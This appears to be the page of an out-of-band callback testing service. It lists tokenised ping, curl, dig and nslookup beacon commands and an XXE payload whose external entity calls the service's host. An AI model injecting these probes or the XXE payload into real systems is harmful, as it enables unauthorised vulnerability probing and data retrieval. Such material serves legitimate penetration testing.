$ ping -c1 -p 000d5a6be98183808b92f81a96f9e400 unhack.ca
 
$ curl http://unhack.ca/p/0d5a6be98183808b92f81a96f9e4
 
$ dig 0d5a6be98183808b92f81a96f9e4 @unhack.ca
 
$ dig 0d5a6be98183808b92f81a96f9e4.ns.unhack.ca
 
C:\> nslookup 0d5a6be98183808b92f81a96f9e4 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/0d5a6be98183808b92f81a96f9e4">]>
    <foo>&xxe;</foo>
 
Waiting for ping...